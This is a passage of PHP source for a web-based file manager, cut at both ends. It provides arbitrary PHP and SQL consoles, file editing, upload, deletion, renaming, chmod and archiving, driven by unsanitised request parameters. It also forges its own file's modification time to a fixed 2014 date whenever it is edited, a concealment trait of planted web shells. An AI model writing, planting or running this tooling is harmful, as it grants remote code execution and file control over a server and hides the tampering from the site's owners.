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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) 